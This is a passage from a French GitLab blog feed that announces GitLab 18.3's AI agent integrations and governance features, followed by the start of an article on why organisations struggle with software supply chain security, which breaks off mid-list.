<p><em>« Intégrer les workflow GitLab directement dans Cursor est une étape cruciale afin de réduire les frictions pour les équipes de développement. Si nous réduisons le besoin de changer de contexte, les équipes peuvent vérifier le statut des tickets, examiner les merge requests et surveiller les résultats des pipelines sans jamais quitter leur environnement de développement. Cette intégration est un ajustement naturel pour nos clients partagés, et nous nous réjouissons d'un partenariat à long terme avec GitLab pour continuer à améliorer la productivité de nos équipes. »</em></p>
<p>- <strong>Ricky Doar, VP of Field Engineering chez Cursor</strong></p>
<p><em>« Le serveur MCP et l'assistance des agents de GitLab CLI créent de nouvelles façons puissantes pour Amazon Q de s'intégrer aux workflow de développement. Amazon Q Developer peut maintenant se connecter directement via l'interface MCP distante de GitLab, tandis que les équipes peuvent déléguer des tâches de développement en mentionnant simplement Amazon Q CLI dans les tickets et les merge requests. Les capacités robustes de sécurité et de gouvernance intégrées dans ces intégrations donnent aux entreprises la confiance nécessaire pour tirer parti des outils de codage IA tout en préservant leurs normes de développement. Notre partenariat avec GitLab démontre l'engagement continu d'AWS à étendre notre écosystème IA et à rendre les outils de développement intelligents accessibles partout où les développeurs travaillent. »</em></p>
<p>- <strong>Deepak Singh, Vice President of Developer Agents and Experiences chez AWS</strong></p>
</blockquote>
<ul>
<li>
<p><strong>Assistance des agents de GitLab CLI  pour Claude Code, Codex, Amazon Q, Google Gemini et opencode (Bring Your Own Key) :</strong> la version 18.3 introduit des intégrations qui permettent aux équipes de déléguer des tâches de routine en mentionnant leurs agents directement dans les tickets ou les merge requests. Dès que ces assistants IA sont mentionnés, ils lisent automatiquement le contexte environnant et le code du dépôt, puis répondent au commentaire de l'utilisateur en proposant des changements de code prêts à être examinés ou des commentaires inline. Ces intégrations requièrent l'utilisation de votre propre clé API pour les fournisseurs IA respectifs, conservent toutes les interactions en mode natif dans l'interface de GitLab et maintiennent les permissions appropriées et les pistes d'audit.</p>
<p><strong>Remarque :</strong> les agents tiers font partie de la version bêta GitLab Premium et ne sont disponibles que pour les clients GitLab Duo Enterprise à des fins d'évaluation.</p>
</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111784124?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Third Party Agents Flows Claude Code&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<blockquote>
<p><em>« L'intégration de Claude Code directement dans GitLab est une assistance IA disponible là où des millions de développeurs collaborent déjà et livrent du code au quotidien. En mentionnant Claude directement dans les tickets et les merge requests, il est possible d'éliminer les obstacles et de maintenir  la qualité avec une supervision humaine et des processus de révision. Cette mise à jour permet de tirer profit des capacités de Claude Code dans davantage de contextes où les équipes travaillent et transforme l'IA en un composant naturel de leur workflow de développement. »</em></p>
<p><strong>- Cat Wu, Claude Code Product Lead, Anthropic</strong></p>
<p><em>« Avec la nouvelle intégration d'agents de GitLab dans la version 18.3, vous pouvez utiliser opencode dans vos workflow existants. Il vous suffit de mentionner opencode dans un ticket ou une merge request, et il exécutera votre agent directement dans votre pipeline CI. Cette liberté dans la configuration et l'exécution d'opencode est le type d'intégration que la communauté open source apprécie vraiment. »</em></p>
<p><strong>- Jay V., CEO, opencode</strong></p>
</blockquote>
<ul>
<li><strong>Assistance Agentic Chat pour l'IDE de Visual Studio et l'interface utilisateur GitLab disponible pour tous les clients GitLab Premium et Ultimate :</strong> avec la version 18.3, vous n'avez plus besoin de changer de contexte entre les outils pour accéder aux données complètes du cycle de vie de développement de GitLab. Nos intégrations améliorées injectent toute la puissance de GitLab Duo dans l'interface utilisateur GitLab ainsi que dans les IDE, et l'assistance inclut désormais Visual Studio en plus de JetBrains et VS Code. Cette nouveauté aide les développeurs à rester concentrés et à accéder au contexte détaillé du projet, à l'historique de déploiement et aux données de collaboration d'équipe directement dans leur environnement préféré.</li>
<li><strong>Assistance étendue des modèles IA :</strong> GitLab Duo Self-Hosted prend maintenant en charge des modèles IA supplémentaires afin d'offrir aux équipes plus de flexibilité dans leurs workflows de développement assistés par l'IA. Vous pouvez maintenant déployer des modèles OpenAI GPT open source (20B et 120B de paramètres) via vLLM sur votre matériel de centre de données ou via des services cloud comme Azure OpenAI et AWS Bedrock dans votre cloud privé. De plus, Claude 4 d'Anthropic est disponible sur AWS Bedrock.</li>
</ul>
<h3>Nouveaux Flows de développement automatisés</h3>
<p>GitLab Flows coordonne plusieurs agents IA avec des instructions prédéfinies pour gérer de manière autonome ces tâches chronophages et routinières afin que les équipes de développement puissent se concentrer sur le cœur de leur travail.</p>
<p>GitLab 18.3 possède deux nouveaux Flows :</p>
<ul>
<li><strong>Flow Issue-to-MR (génération de code automatisée du concept à la complétion en quelques minutes) :</strong> ce Flow convertit automatiquement les tickets en merge requests (MR) exploitables en coordonnant des agents pour analyser les exigences, préparer des plans de mise en œuvre complets et générer du code de qualité prêt pour une revue. Vous pouvez ainsi mettre en œuvre des idées en quelques minutes au lieu de plusieurs heures.</li>
</ul>
<p>&lt;div style=&quot;padding:75% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111782058?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Issue to MR&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<ul>
<li><strong>Flow de conversion de fichier CI (intelligence de migration transparente) :</strong> notre Flow de conversion de fichier CI rationalise les workflow de migration en demandant aux agents d'analyser les configurations CI/CD existantes et de les convertir intelligemment au format GitLab CI avec une compatibilité complète au pipeline. Ce Flow élimine les efforts manuels et les erreurs potentielles de réécriture des configurations CI, et il aide les équipes à migrer des pipelines de déploiement entiers en toute confiance. La version 18.3 inclut une assistance pour les migrations Jenkins. Une assistance supplémentaire est prévue dans les futures versions.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783724?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Convert to CI Flow&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;</p>
<h3>Code et recherche intelligents</h3>
<p>Les solutions ponctuelles d'IA fonctionnent généralement avec une visibilité limitée sur des extraits de code isolés, mais le graphique de connaissances de GitLab fournit aux agents un contexte d'environnement pour garantir des réponses plus rapides et plus intelligentes.</p>
<ul>
<li><strong>Graphique de connaissances (intelligence de code en temps réel) :</strong> dans la version 18.3, le graphique de connaissances de GitLab offre désormais une indexation de code en temps réel pour des recherches de code plus rapides ainsi que des résultats plus précis en contexte. Nos agents comprennent les relations entre les fichiers, les dépendances et les modèles de développement de l'ensemble de votre code source et sont conçus pour fournir des informations que les développeurs humains mettraient des heures à trouver. <strong>Et ce n'est que la première étape, nous prévoyons de continuer à étendre les puissantes fonctionnalités du graphique de connaissances.</strong></li>
</ul>
<h3>Gouvernance d'entreprise</h3>
<p>La transparence de l'IA et le contrôle applicable à l'entreprise sont des défis majeurs qui freinent l'adoption des outils de développement alimentés par l'IA : <a href="https://about.gitlab.com/fr-fr/software-innovation-report/">85 % des dirigeants s'accordent à dire que l'IA agentique créera des défis de sécurité sans précédent</a>.</p>
<p>Les nouvelles fonctionnalités de la version 18.3 visent à répondre aux préoccupations concernant la gouvernance des données, les exigences en matière de conformité et le besoin de visibilité dans les processus de prise de décision de l'IA afin que les entreprises puissent intégrer l'IA dans leurs frameworks de sécurité et de stratégies existants.</p>
<ul>
<li><strong>Agent Insights (transparence par l'intelligence) :</strong> notre suivi d'agents intégré offre une visibilité sur les processus de prise de décision des agents. Les utilisateurs peuvent optimiser les workflow et suivre les meilleures pratiques grâce à un suivi transparent.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783244?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Agent Insights&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>GitLab Duo Code Review pour GitLab Self-Hosted :</strong> dédiée aux  organisations avec des exigences strictes de gouvernance des données, cette fonctionnalité permet aux équipes d'utiliser l'intelligence de GitLab Duo tout en gardant le code sensible dans des environnements contrôlés.</li>
<li><strong>Configurations de modèles hybrides pour un déploiement IA flexible :</strong> les clients GitLab Duo Self-Hosted peuvent maintenant utiliser des configurations de modèles hybrides et combiner des modèles IA auto-hébergés via leur passerelle IA locale avec les modèles cloud de GitLab via la passerelle IA de GitLab afin d'accéder à diverses fonctionnalités.</li>
</ul>
<p>&lt;div style=&quot;padding:56.25% 0 0 0;position:relative;&quot;&gt;&lt;iframe src=&quot;https://player.vimeo.com/video/1111783569?badge=0&amp;autopause=0&amp;player_id=0&amp;app_id=58479&quot; frameborder=&quot;0&quot; allow=&quot;autoplay; fullscreen; picture-in-picture; clipboard-write; encrypted-media; web-share&quot; referrerpolicy=&quot;strict-origin-when-cross-origin&quot; style=&quot;position:absolute;top:0;left:0;width:100%;height:100%;&quot; title=&quot;Self Hosted Models Code Review&quot;&gt;&lt;/iframe&gt;&lt;/div&gt;&lt;script src=&quot;https://player.vimeo.com/api/player.js&quot;&gt;&lt;/script&gt;
&lt;p&gt;&lt;/p&gt;</p>
<ul>
<li><strong>Sécurité renforcée avec assistance OAuth :</strong> notre serveur MCP inclut maintenant une assistance complète pour l'authentification OAuth 2.0, qui garantit des connexions sécurisées aux ressources protégées et aux environnements de développement sensibles. Cette nouvelle fonctionnalité suit le projet de spécification OAuth pour MCP, qui gère les flux d'autorisation, la gestion des tokens et l'enregistrement dynamique des clients.</li>
</ul>
<h3>Plateforme Secure by Design : une gouvernance évolutive</h3>
<p>Pour être véritablement sécurisée, une plateforme nécessite l'application cohérente de principes de gouvernance sur l'ensemble du cycle de développement. Les mêmes principes fondamentaux de sécurité qui garantissent l'adoption sécurisée de l'IA (principe de moindre privilège, gestion centralisée des stratégies, surveillance proactive et autorisations granulaires) doivent être intégrés dans tout le SDLC pour créer une approche cohésive de défense en profondeur.</p>
<p>GitLab 18.3 renforce les contrôles fondamentaux qui aident à protéger toute votre chaîne d'approvisionnement logicielle avec ces nouvelles mises à jour :</p>
<ul>
<li><strong>Rôle d'administrateur personnalisé :</strong> fournit des autorisations administratives granulaires conçues sur mesure qui remplacent l'accès administrateur général par des contrôles précis selon le principe de moindre privilège. Au lieu d'accorder des privilèges administratifs généraux qui créent des risques de sécurité, les organisations peuvent maintenant créer des rôles spécialisés adaptés à des fonctions spécifiques comme les équipes de plateforme qui gèrent les runners et la surveillance, les équipes d'assistance dédiées à la gestion des utilisateurs et les cadres dirigeants qui accèdent aux tableaux de bord et aux statistiques d'utilisation. Forte d'une gestion complète du cycle de vie des rôles via l'interface utilisateur et l'API, d'une journalisation d'audits et de documentation générée automatiquement, cette fonctionnalité offre une véritable gestion selon le principe de moindre privilège qui aide à maintenir l'efficacité opérationnelle et à améliorer la sécurité globale de l'instance.</li>
<li><strong>Framework de conformité au niveau de l'instance et gestion des stratégies de sécurité :</strong> les organisations peuvent maintenant désigner un groupe de conformité dédié responsable d'appliquer des frameworks standardisés et des stratégies de sécurité directement aux groupes principaux, lesquels seront automatiquement mis en œuvre dans tous leurs sous-groupes et projets. Cette approche centralisée élimine la gestion fragmentée des stratégies, un obstacle à la conformité, et maintient l'autonomie du groupe en matière d'adoption de stratégies locales supplémentaires.</li>
<li><strong>Rapports de violations améliorés :</strong> les équipes reçoivent désormais des notifications immédiates lorsque des changements non autorisés sont apportés aux règles d'approbation des MR, que des stratégies de framework ne possèdent pas les approbations appropriées ou que les contrôles de conformité temporels ne sont pas respectés. Les équipes peuvent associer directement les violations aux contrôles spécifiques du framework de conformité afin d'obtenir des informations exploitables qui leur indiquent exactement quelle exigence a été violée. Cette fonctionnalité transforme la conformité d'une simple tâche à exécuter en un élément proactif et intégré du workflow de développement et de sécurité.</li>
<li><strong>Permissions granulaires pour les tokens de job CI/CD :</strong> remplace l'accès général des tokens par des permissions granulaires et explicites qui accordent aux jobs CI/CD un accès uniquement aux points de terminaison API spécifiques dont ils ont réellement besoin. Au lieu de donner aux jobs un accès général aux ressources du projet, les équipes peuvent maintenant définir des permissions précises pour les déploiements, les packages, les versions, les environnements et autres ressources critiques afin de réduire la surface d'attaque et tout potentiel d'escalade de privilèges.</li>
<li><strong>Intégration d'AWS Secrets Manager :</strong> les équipes qui utilisent AWS Secrets Manager peuvent maintenant récupérer des secrets directement dans les jobs GitLab CI/CD afin de simplifier les processus de compilation et de déploiement. Un GitLab Runner accède aux secrets au moyen de l'authentification basée sur le protocole OpenID Connect, qui est masqué pour éviter l'exposition dans les job logs et détruit après utilisation. Cette approche élimine le  stockage des secrets dans des variables et s'intègre proprement dans les workflows existants  GitLab et AWS. Développée en étroite collaboration avec Deutsche Bahn et l'équipe AWS Secrets Manager, cette intégration reflète notre engagement à proposer des solutions aux côtés des clients pour résoudre des défis du monde réel.</li>
</ul>
<h3>Gestion des artefacts : sécuriser la chaîne d'approvisionnement logicielle</h3>
<p>Lorsque les artefacts ne sont pas régis correctement, de petits changements peuvent avoir de lourdes conséquences. Les packages modifiables, les images de conteneurs écrasées et les règles incohérentes entre les outils peuvent entraîner des pannes de production, introduire des vulnérabilités et créer des problèmes de conformité. Pour une plateforme DevSecOps d'entreprise, une gestion centralisée et sécurisée des artefacts est essentielle afin de maintenir l'intégrité de la chaîne d'approvisionnement logicielle.</p>
<h4>Protection des artefacts au niveau de l'entreprise</h4>
<p>GitLab 18.3 capitalise sur nos capacités complètes de protection des packages et ajoute de nouvelles fonctionnalités importantes :</p>
<ul>
<li><strong>Assistance pour les revues Conan :</strong> dans la version 18.3, les <a href="https://docs.gitlab.com/user/packages/conan_2_repository/#conan-revisions">révisions Conan</a> garantissent l'immuabilité des packages pour les équipes de développement C++. Lorsque des modifications sont apportées à un package sans en changer la version, Conan calcule des identifiants uniques pour suivre ces changements et permettre aux équipes de maintenir des packages immuables ainsi que de préserver la clarté des versions.</li>
<li><strong>Sécurité améliorée du registre de conteneurs :</strong> suite au lancement réussi des <a href="https://docs.gitlab.com/fr-fr/user/packages/container_registry/immutable_container_tags/">tags de conteneurs immuables</a> dans la version 18.2, nous constatons une forte adoption de cette fonctionnalité en entreprise. Une fois qu'un tag créé correspond à une règle immuable, personne, quel que soit son niveau de permission, ne peut modifier cette image de conteneur afin d'éviter les changements non intentionnels des dépendances de production.</li>
</ul>
<p>Ces améliorations complètent nos capacités de protection existantes pour npm, PyPI, Maven, NuGet, les charts Helm et les packages génériques. Elles aident les équipes de plateforme à implémenter une stratégie de gouvernance cohérente à travers toute leur chaîne d'approvisionnement logicielle – une exigence pour les organisations qui construisent des plateformes de développement internes sécurisées.</p>
<p>Contrairement aux solutions d'artefacts autonomes, l'approche intégrée de GitLab élimine le changement de contexte entre les outils et fournit une traçabilité de bout en bout du code au déploiement. Elle permet aussi aux équipes de plateforme d'implémenter une stratégie de gouvernance cohérente dans l'ensemble de leur pipeline de livraison logicielle.</p>
<h3>Vues intégrées : visibilité et rapports en temps réel</h3>
<p>À mesure que les projets GitLab gagnent en complexité, les équipes se retrouvent à naviguer entre tickets, merge requests, epics et jalons pour maintenir la visibilité du statut du travail. Consolider efficacement ces informations tout en garantissant que les équipes ont un accès en temps réel à la progression du projet sans changement de contexte ni interruption reste un défi.</p>
<h3>Lancement de la visibilité du statut du travail en temps réel</h3>
<p>Dans GitLab 18.3, les <a href="https://docs.gitlab.com/fr-fr/user/glql/#embedded-views">vues intégrées alimentées par notre puissant GitLab Query Language</a> (GLQL) éliminent le changement de contexte grâce à des données de projet injectées directement dans votre workflow :</p>
<ul>
<li><strong>Vues dynamiques :</strong> insérez des requêtes GLQL dans des blocs de code Markdown de pages wiki, d'epics, de tickets et de merge requests qui se rafraîchissent automatiquement en fonction de l'état actuel du projet chaque fois que vous chargez la page.</li>
<li><strong>Personnalisation contextuelle :</strong> les vues s'adaptent automatiquement à l'aide de fonctions comme <code>currentUser()</code> et <code>today()</code> pour afficher les informations pertinentes selon l'utilisateur, sans configuration manuelle.</li>
<li><strong>Filtrage puissant :</strong> filtrez parmi plus de 25 champs, y compris la personne assignée, l'auteur, le label, le jalon, les indicateurs de progression et la date de création.</li>
<li><strong>Flexibilité d'affichage :</strong> présentez les données sous forme de tableaux, de listes ou de listes numérotées avec sélection personnalisable des champs, limites d'éléments et ordre de tri pour des vues spécifiques et exploitables.</li>
</ul>
<p>Contrairement aux approches fragmentées de gestion de projet, nous avons conçu les vues intégrées pour maintenir la continuité de votre workflow avec une visibilité en temps réel. Ainsi, les équipes peuvent prendre des décisions éclairées sans se déconcentrer ni basculer entre plusieurs outils et interfaces.</p>
<blockquote>
<p>Découvrez les <a href="https://about.gitlab.com/fr-fr/releases/2025/08/21/gitlab-18-3-released/">nouvelles fonctionnalités de GitLab 18.3</a>.</p>
</blockquote>
<h2>Lancez-vous dès aujourd'hui</h2>
<p>GitLab 18.3 est maintenant disponible pour les utilisateurs GitLab Premium et Ultimate sur GitLab.com et dans les environnements GitLab Self-Managed.</p>
<p>Les clients GitLab Dedicated profitent maintenant de la mise à niveau vers la version 18.2 et pourront utiliser les fonctionnalités déployées avec GitLab 18.3 le mois prochain.</p>
<p>Prêt à découvrir l'avenir de l'ingénierie logicielle ? <a href="https://docs.gitlab.com/fr-fr/user/gitlab_duo/turn_on_off/#turn-on-beta-and-experimental-features">Activez les fonctionnalités expérimentales et celles de la version bêta pour GitLab Duo</a> et commencez à utiliser des agents IA qui comprennent votre contexte de développement dans son ensemble.</p>
<p>Vous ne connaissez pas encore GitLab ? <a href="https://gitlab.com/fr-fr/-/trials/new">Commencez votre essai gratuit</a> aujourd'hui et découvrez pourquoi l'avenir de l'ingénierie logicielle repose sur la collaboration humain-IA orchestrée sur la plateforme DevSecOps la plus complète au monde.</p>
<p>&lt;p&gt;&lt;small&gt;&lt;em&gt;Cet article de blog contient des énoncés de nature prospective au sens de la Section 27A de la Securities Act de 1933, telle que modifiée, et de la Section 21E de la Securities Exchange Act de 1934. Bien que nous croyions que les attentes reflétées dans les énoncés de nature prospective contenus dans cet article de blog sont raisonnables, ils sont soumis à des risques connus et inconnus, des incertitudes, des hypothèses et d'autres facteurs dont les résultats ou issues réels peuvent matériellement différer de tout résultat ou issue futurs exprimés ou impliqués par les énoncés de nature prospective.&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Des informations supplémentaires sur les risques, incertitudes et autres facteurs qui pourraient faire que les résultats et issues réels diffèrent matériellement de ceux inclus dans les énoncés de nature prospective contenus dans cet article de blog ou envisagés dans celui-ci sont incluses sous la rubrique « Facteurs de risque » et ailleurs dans les documents et rapports que nous faisons auprès de la Securities and Exchange Commission. Nous ne nous engageons pas à mettre à jour ou à réviser les énoncés de nature prospective ou à signaler des événements ou circonstances après la date de publication de cet article de blog ou à refléter la tenue d'événements imprévus, sauf si la loi l'exige.&lt;/em&gt;&lt;/small&gt;&lt;/p&gt;</p>
]]></content>
        <author>
            <name>Bill Staples</name>
            <uri>https://about.gitlab.com/blog/authors/bill-staples</uri>
        </author>
        <published>2025-08-21T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Sécurité de la chaîne d'approvisionnement : quels enjeux ?]]></title>
        <id>https://about.gitlab.com/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle/</id>
        <link href="https://about.gitlab.com/fr-fr/blog/software-supply-chain-security-guide-why-organizations-struggle/"/>
        <updated>2025-08-20T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>La plupart des équipes de développement considèrent que la sécurité de la chaîne d'approvisionnement logicielle dépend de la qualité de l'analyse des vulnérabilités ou de la gestion des dépendances. Toutefois, cette vision dangereusement étriquée cache une autre réalité.</p>
<p><strong>La sécurité de la chaîne d'approvisionnement logicielle ne se limite pas à l'analyse des dépendances.</strong> Elle concerne l'ensemble du cycle de développement, de l'écriture du code au déploiement en production :</p>
<ul>
<li><strong>La sécurité des sources</strong> consiste à protéger les dépôts de code, gérer l'accès des contributeurs et garantir l'intégrité du code.</li>
<li><strong>La sécurité des compilations</strong> permet de sécuriser les environnements de compilation et d'empêcher toute altération pendant la compilation et l'empaquetage</li>
<li><strong>La sécurité des artefacts</strong> s'attache à garantir l'intégrité des conteneurs, des paquets et des artefacts de déploiement.</li>
<li><strong>La sécurité du déploiement</strong> vise à sécuriser les mécanismes de livraison et les environnements d'exécution.</li>
<li><strong>La sécurité des outils</strong> s'efforce de sécuriser directement les outils et plateformes utilisés pour développer les logiciels.</li>
</ul>
<p>Le terme « chaîne » dans l'expression « sécurité de la chaîne d'approvisionnement logicielle » fait référence à toutes ces étapes interconnectées pour créer et livrer des logiciels. Une faiblesse à n'importe quelle maillon de la chaîne peut compromettre l'ensemble du processus.</p>
<p>L'<a href="https://www.cisa.gov/news-events/news/joint-statement-federal-bureau-investigation-fbi-cybersecurity-and-infrastructure-security">attaque contre SolarWinds en 2020</a> illustre parfaitement cette problématique. Lors d'une des plus grandes attaques de la chaîne d'approvisionnement logicielle de ces dernières années, des attaquants parrainés par un État ont compromis le pipeline de compilation du logiciel de gestion de réseau Orion de SolarWinds. Plutôt que d'exploiter une dépendance vulnérable ou de pirater l'application finale, ils ont injecté du code malveillant pendant le processus de compilation lui-même.</p>
<p>Le résultat a été dévastateur : plus de 18 000 clients de SolarWinds, y compris plusieurs agences gouvernementales américaines, ont installé sans le savoir des logiciels avec des portes dérobées lors de mises à jour logicielles de routine. Le code source d'origine était propre, l'application finale semblait totalement légitime, mais c'est lors du processus de compilation que le code malveillant se déployait. Cette attaque est passée inaperçue pendant des mois. Elle est la preuve incontestable que les mesures de sécurité traditionnelles ne font pas le poids contre l'exploitation des failles au niveau de la chaîne d'approvisionnement logicielle.</p>
<h3>Les idées reçues qui mettent en danger les entreprises</h3>
<p>Malgré une prise de conscience croissante des menaces qui pèsent sur la chaîne d'approvisionnement logicielle, de nombreuses entreprises restent vulnérables, car elles ne comprennent pas tous les tenants et les aboutissants de la sécurité de cette chaîne. Voici les idées reçues les plus dangereuses concernant la sécurité de la chaîne d'approvisionnement logicielle :</p>
<ul>
<li>Elle se résume à l'analyse des dépendances.</li>
<li>Elle se limite aux composants open source et ignore les risques liés au code propriétaire.</li>
<li>La signature de code lui offre une protection suffisante.</li>
<li>Les bonnes pratiques de développement sécurisé sont supposées éliminer les risques qui pèsent sur elle.</li>
<li>La responsabilité est attribuée uniquement à l'équipe de sécurité et non à l'ensemble des collaborateurs impliqués dans le workflow de développement.</li>
</ul>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200077/kqndvlxyvncshdiq0xea.png" alt="Diagramme de dépendance de la sécurité de la chaîne d'approvisionnement logicielle"></p>
<h2>L'IA, synonyme de changement</h2>
<p>Alors que les équipes de développement doivent déjà relever les défis de sécurité traditionnels de la chaîne d'approvisionnement logicielle, l'intelligence artificielle (IA) introduit de nouveaux vecteurs d'attaque et amplifie comme jamais auparavant ceux déjà présents.</p>
<h3>Des attaques plus sophistiquées et évolutives</h3>
<p>Les attaquants exploitent désormais l'IA pour automatiser la découverte des vulnérabilités, générer des attaques de type ingénierie sociale avec des messages très convaincants qui ciblent les développeurs et analyser systématiquement les codes sources publics pour en détecter les faiblesses. Ces opérations autrefois manuelles sont désormais réalisées à grande échelle, rapidement et avec une grande précision.</p>
<h3>De nouveaux risques</h3>
<p>Non seulement l'IA modifie l'ensemble du cycle de développement, mais elle introduit des lacunes importantes en matière de sécurité :</p>
<ul>
<li><strong>Attaques de la chaîne d'approvisionnement logicielle des modèles :</strong> les modèles pré-entraînés provenant de sources telles que Hugging Face ou GitHub peuvent contenir des portes dérobées ou des données d'entraînement corrompues.</li>
<li><strong>Manque de protection du code généré par l'IA :</strong> les développeurs qui utilisent des assistants IA pour le code peuvent introduire involontairement des modèles vulnérables ou des dépendances dangereuses.</li>
<li><strong>Compromission des chaînes d'outils alimentées par l'IA :</strong> l'infrastructure pour entraîner, déployer et gérer les modèles d'IA constitue une nouvelle surface d'attaque.</li>
<li><strong>Reconnaissance automatisée :</strong> en s'aidant de l'IA, les attaquants scannent l'ensemble de l'écosystème d'une entreprise pour identifier des cibles stratégiques au sein de la chaîne d'approvisionnement logicielle.</li>
<li><strong>Shadow AI et outils non approuvés :</strong> les équipes de développement peuvent intégrer des outils d'IA externes qui n'ont pas été approuvés.</li>
</ul>
<p>Résultat ? L'IA introduit non seulement de nouvelles vulnérabilités, mais elle amplifie aussi l'ampleur et la gravité des failles de sécurité existantes. Les entreprises ne peuvent plus s'appuyer sur des améliorations incrémentielles, et les pratiques de sécurité peinent à suivre le rythme effréné d'évolution des menaces.</p>
<p><img src="https://res.cloudinary.com/about-gitlab-com/image/upload/v1753200139/xuxezxld6ztlvjocgjlx.png" alt="Effet d'amplification de l'IA"></p>
<h2>Les entreprises à la traîne</h2>
<p>Même les entreprises conscientes des enjeux de sécurité de la chaîne d'approvisionnement logicielle ne parviennent souvent pas à agir efficacement. Les statistiques sont inquiétantes et sans appel : la prise de conscience est réelle, mais les comportements ne changent pas.</p>
<p>En 2021, <a href="https://www.cnn.com/2021/05/19/politics/colonial-pipeline-ransom/index.html">Colonial Pipeline a dû verser 4,4 millions de dollars à des hackers</a> pour rétablir ses opérations. Peu avant, 18 000 entreprises avaient été victimes de l'attaque SolarWinds. Le signal est clair : les failles de sécurité au sein de la chaîne d'approvisionnement logicielle peuvent mettre à mal des infrastructures critiques et exposer des données sensibles à une échelle sans précédent.</p>
<p>Pourtant, malgré cette prise de conscience, la majorité des entreprises continuent leurs activités comme si de rien n'était. Alors pourquoi ne mettent-elles pas en place des mesures de protection efficaces ?</p>
<p>La réponse repose sur quatre obstacles de taille :</p>
<p><strong>1. La fausse logique économique</strong></p>
<p>Certaines entreprises privilégient le coût immédiat plutôt que l'approche la plus efficace. Cette vision centrée sur les économies à court terme finit par engendrer des problèmes coûteux.</p>
<p><strong>2. Une pénurie de compétences</strong></p>
<p>Selon l'étude BSIMM, on compte <a href="https://codific.com/bsimm-building-security-in-maturity-model-a-complete-guide/">4 professionnels de la sécurité pour 100 développeurs, en moyenne</a>, et <a href="https://www.isc2.org/Insights/2024/09/Employers-Must-Act-Cybersecurity-Workforce-Growth-Stalls-as-Skills-Gaps-Widen">90 % des entreprises déclarent une pénurie critique de talents en cybersécurité</a>, selon ISC2. Dans ces conditions, il est tout simplement impossible de faire évoluer les approches traditionnelles.</p>
<p><strong>3. Des objectifs de performance incohérents</strong></p>
<p>Les Objective and Key Results (OKR) des développeurs, principalement axés sur la vélocité des fonctionnalités, sont différents de ceux des équipes de sécurité. Lorsque les dirigeants donnent la priorité à la rapidité de mise sur le marché plutôt qu'à la posture de sécurité, les frictions deviennent inévitables.</p>
<p><strong>4. Prolifération des outils</strong></p>
<p>Une <a href="https://www.gartner.com/en/newsroom/press-releases/2025-03-03-gartner-identifiesthe-top-cybersecurity-trends-for-2025">entreprise de taille moyenne utilise 45 outils de cybersécurité</a>, qui génèrent <a href="https://www.ponemon.org/news-updates/blog/security/new-ponemon-study-on-malware-detection-prevention-released.html">40 % de faux positifs</a>. <a href="https://newsroom.ibm.com/2020-06-30-IBM-Study-Security-Response-Planning-on-the-Rise-But-Containing-Attacks-Remains-an-Issue">Chaque incident nécessite de coordonner 19 outils en moyenne</a>.</p>
<p>Ces obstacles créent un cercle vicieux : les entreprises reconnaissent la menace, investissent dans des solutions de sécurité, mais leur mise en œuvre n'aboutit pas aux résultats souhaités.</p>
<h2>Le coût de l'insécurité de la chaîne d'approvisionnement logicielle</h2>
<p>Les attaques de la chaîne d'approvisionnement logicielle engendrent des risques et des dépenses qui ne s’arrêtent pas une fois la faille corrigée.  Une meilleure compréhension de ces multiples implications cachées permet de saisir pourquoi la prévention est indispensable pour assurer la continuité des activités.</p>
<p><strong>Des délais beaucoup trop longs</strong></p>
<ul>
<li><a href="https://keepnetlabs.com/blog/171-cyber-security-statistics-2024-s-updated-trends-and-data">277 jours</a> sont nécessaires en moyenne pour identifier et contenir une faille de sécurité dans la chaîne d'approvisionnement logicielle.</li>
<li><a href="https://www.bcg.com/publications/2024/rebuilding-corporate-trust">De 2 à 3 ans, voire plus</a> sont nécessaires pour regagner la confiance des clients.</li>
